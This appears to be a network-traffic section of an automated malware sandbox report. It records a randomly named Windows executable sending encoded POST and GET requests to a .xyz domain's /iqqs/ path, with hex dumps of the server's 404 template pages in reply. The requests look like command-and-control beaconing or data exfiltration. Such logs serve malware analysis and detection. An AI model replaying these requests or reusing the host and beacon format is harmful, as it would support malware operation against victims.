Oct 9, 2024 14:19:41.767956972 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:19:41 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Oct 9, 2024 14:19:41.768027067 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Oct 9, 2024 14:19:41.768064022 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Oct 9, 2024 14:19:41.768121958 CEST	1236	IN	Data Raw: 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png"
Oct 9, 2024 14:19:41.768173933 CEST	896	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 70 6c 2d 30 22 20 68 72 65 66 3d 22 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 3c 69 6d 67 20 73 72 63 3d Data Ascii: <a class="navbar-brand pl-0" href="index.html"><img src="assets/custom/images/fables-logo.png" alt="Fables Template" class="fables-logo"></a> <button class="navbar-toggler" type="button" da
Oct 9, 2024 14:19:41.768210888 CEST	1236	IN	Data Raw: 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 Data Ascii: aria-expanded="false"> Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1">
Oct 9, 2024 14:19:41.768240929 CEST	224	IN	Data Raw: 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 Data Ascii: toggle" href="#">Headers</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a>
Oct 9, 2024 14:19:41.768275976 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header1-transparent.html">Header 1 Transparent</a></li>
Oct 9, 2024 14:19:41.768312931 CEST	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 32 2d 64 61 72 6b 2e 68 74 6d 6c 22 Data Ascii: <li><a class="dropdown-item" href="header2-dark.html">Header 2 Dark</a></li> </ul> </li
Oct 9, 2024 14:19:41.768348932 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 Data Ascii: > <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">
Oct 9, 2024 14:19:41.773272991 CEST	1236	IN	Data Raw: 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 Data Ascii: ></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49454	67.223.117.189	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:43.738126993 CEST	10812	OUT	POST /iqqs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.uburn.xyz Origin: http://www.uburn.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.uburn.xyz/iqqs/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 53 35 6e 4f 33 79 62 73 37 6d 73 36 54 36 68 73 63 39 2b 2f 34 38 77 71 70 4e 73 4b 50 54 32 6d 32 64 47 4a 2f 6e 73 51 54 79 44 57 4f 65 4b 72 30 43 4a 74 37 66 70 6f 4e 4d 68 57 2f 43 65 48 4d 7a 67 36 65 66 74 4b 46 66 66 4d 30 73 49 66 4c 32 2b 4d 79 78 53 77 33 5a 6a 34 68 67 6d 2f 43 71 53 46 41 34 6d 36 61 47 68 45 6e 47 6d 55 69 39 68 58 4c 31 43 74 6f 68 6e 64 2b 30 4f 50 4d 6c 59 74 4f 39 79 61 51 4c 6f 72 44 42 73 45 72 4e 55 65 55 34 43 67 53 48 33 6d 74 6f 78 50 69 57 71 39 32 31 6c 4d 65 4c 59 76 30 67 77 49 54 43 43 64 72 55 65 59 7a 44 4c 50 76 4d 78 79 51 4f 66 39 6f 50 57 70 58 39 72 7a 4a 30 64 62 64 47 66 4c 35 4a 7a 32 41 74 6c 33 70 36 39 6f 76 6f 6d 4a 32 71 35 62 68 76 4f 36 46 6f 53 53 47 7a 4b 72 52 74 62 4d 63 32 57 2f 6a 73 65 63 6c 63 6e 2b 49 74 31 46 49 73 5a 65 50 38 75 6f 73 69 5a 7a 2f 76 66 70 56 77 2f 79 34 4b 75 43 31 37 63 72 45 56 43 59 4a 42 70 31 6d 79 4a 66 52 4d 61 53 4e 6c 42 69 54 49 59 31 61 2f 32 66 55 64 4c 37 55 58 43 6a 31 46 31 55 59 [TRUNCATED] Data Ascii: AHkx=S5nO3ybs7ms6T6hsc9+/48wqpNsKPT2m2dGJ/nsQTyDWOeKr0CJt7fpoNMhW/CeHMzg6eftKFffM0sIfL2+MyxSw3Zj4hgm/CqSFA4m6aGhEnGmUi9hXL1Ctohnd+0OPMlYtO9yaQLorDBsErNUeU4CgSH3mtoxPiWq921lMeLYv0gwITCCdrUeYzDLPvMxyQOf9oPWpX9rzJ0dbdGfL5Jz2Atl3p69ovomJ2q5bhvO6FoSSGzKrRtbMc2W/jseclcn+It1FIsZeP8uosiZz/vfpVw/y4KuC17crEVCYJBp1myJfRMaSNlBiTIY1a/2fUdL7UXCj1F1UYjhgy8nm01FX41Mm/wkzcF4LUfX0JX6GJnOXWb8iASPOv5ar96ZYiE/PymJURk/2lEINn2KrciDjvN9gg3AbEnUpD6s4Dp60+J3uiQyOIuH/GKNrUBH9+21Fsy00Tu99KUEws/5fOlDACjtsjBsKkudkS7W2cKQuw6/FOUINzPR97lhJwOVM+K6g66r/vIrYNTtnJViw2ez8yFd5BKrx13gWzLcvMP/ip2yGMTMVR2Nm6qEH7gU1Hn9MehgtnFclmUZX3doGXGybSHhg0ITh7McLWIc7tmf/AXXKH8IR8seUfNJSWYn1hOfO0+giDio0NQWKMDA3HEyHhvDZNgW4p/Ktg4iIO6hfc7ngnBrOWHw/qk4hdZlJhb3CgiFPsiubW1uOGoFJdu8SJCGlVHG6Y2ePOiom/H7puaw6n0Bw+FwpamGe0594VYwxsMVG/TBaAP35+vwHQa54MYmlxhoXX4r4nzGhCNf0XR9l3he6eYRpTLPPHbVhz0rN/R/TW2XohdvRGO1cRmqr59ZbO7zzoUMrUS+llnik7vVufCilRveoZeGs7TGxCT0EdBWvugK0OHCxBneyL/vAAYC5InxHq02AniCQgg4U33/P0dvmTE4bjmrHoT4dFNmkJiUqr3p66URwHtnxdfDwn6XPOv7HqRLQfpvznlrJhYl [TRUNCATED]
Oct 9, 2024 14:19:44.427808046 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:19:44 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Oct 9, 2024 14:19:44.427834034 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Oct 9, 2024 14:19:44.427844048 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Oct 9, 2024 14:19:44.427983046 CEST	672	IN	Data Raw: 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png"
Oct 9, 2024 14:19:44.427993059 CEST	1236	IN	Data Raw: 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 74 68 69 72 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 69 63 6f 6e 65 6d 61 69 6c 22 3e 3c 2f 73 Data Ascii: <p class="fables-third-text-color font-13"><span class="fables-iconemail"></span> Email: Design@domain.com</p> </div> </div> </div></div> ... /End Top Header -->... Start Fables Navigation --><
Oct 9, 2024 14:19:44.427999020 CEST	1236	IN	Data Raw: 61 62 6c 65 73 2d 6e 61 76 22 3e 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 22 3e 0a Data Ascii: ables-nav"> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="sub-nav1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="fal
Oct 9, 2024 14:19:44.428009033 CEST	1236	IN	Data Raw: 65 73 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: es </a> <ul class="dropdown-menu" aria-labelledby="sub-nav2"> <li><a class="dropdown-item dropdown-toggle" href="#">He
Oct 9, 2024 14:19:44.428021908 CEST	672	IN	Data Raw: 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 32 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: item dropdown-toggle" href="#">Header 2</a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header2-transparent.h
Oct 9, 2024 14:19:44.428282022 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 Data Ascii: > <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">
Oct 9, 2024 14:19:44.428350925 CEST	1236	IN	Data Raw: 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 Data Ascii: ></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul>
Oct 9, 2024 14:19:44.432768106 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Footer 1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49470	67.223.117.189	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:46.278547049 CEST	459	OUT	GET /iqqs/?rf-LZ=JlCtuN3HqPO8C&AHkx=f7Pu0FXPylRYdptkWs+23MtWxvoKJz6PgPaD0QQYagT1MtyUkVhu56FZSrYHt1j8AD8LTP1JVeTQ4dQlBUKb4laqx4Tc9G/2Lb24L4CzfFNZpkDBhe90DBs= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.uburn.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:19:46.872437000 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:19:46 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Oct 9, 2024 14:19:46.872478962 CEST	1236	IN	Data Raw: 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 Data Ascii: strap.min.css" rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL
Oct 9, 2024 14:19:46.872519016 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="
Oct 9, 2024 14:19:46.872571945 CEST	672	IN	Data Raw: 6d 67 20 73 72 63 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 Data Ascii: mg src="assets/custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/ima
Oct 9, 2024 14:19:46.872606993 CEST	1236	IN	Data Raw: 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 74 68 69 72 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 Data Ascii: t"> <p class="fables-third-text-color font-13"><span class="fables-iconemail"></span> Email: Design@domain.com</p> </div> </div> </div></div> ... /End Top Header -->... Start Fables N
Oct 9, 2024 14:19:46.872639894 CEST	1236	IN	Data Raw: 72 2d 6e 61 76 20 6d 78 2d 61 75 74 6f 20 66 61 62 6c 65 73 2d 6e 61 76 22 3e 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 Data Ascii: r-nav mx-auto fables-nav"> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="sub-nav1" data-toggle="dropdown" aria-haspopup="true" ari
Oct 9, 2024 14:19:46.872675896 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 46 65 61 74 75 72 65 73 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: Features </a> <ul class="dropdown-menu" aria-labelledby="sub-nav2"> <li><a class="dropdown-item dropdown-togg
Oct 9, 2024 14:19:46.872711897 CEST	672	IN	Data Raw: 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 32 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: lass="dropdown-item dropdown-toggle" href="#">Header 2</a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header
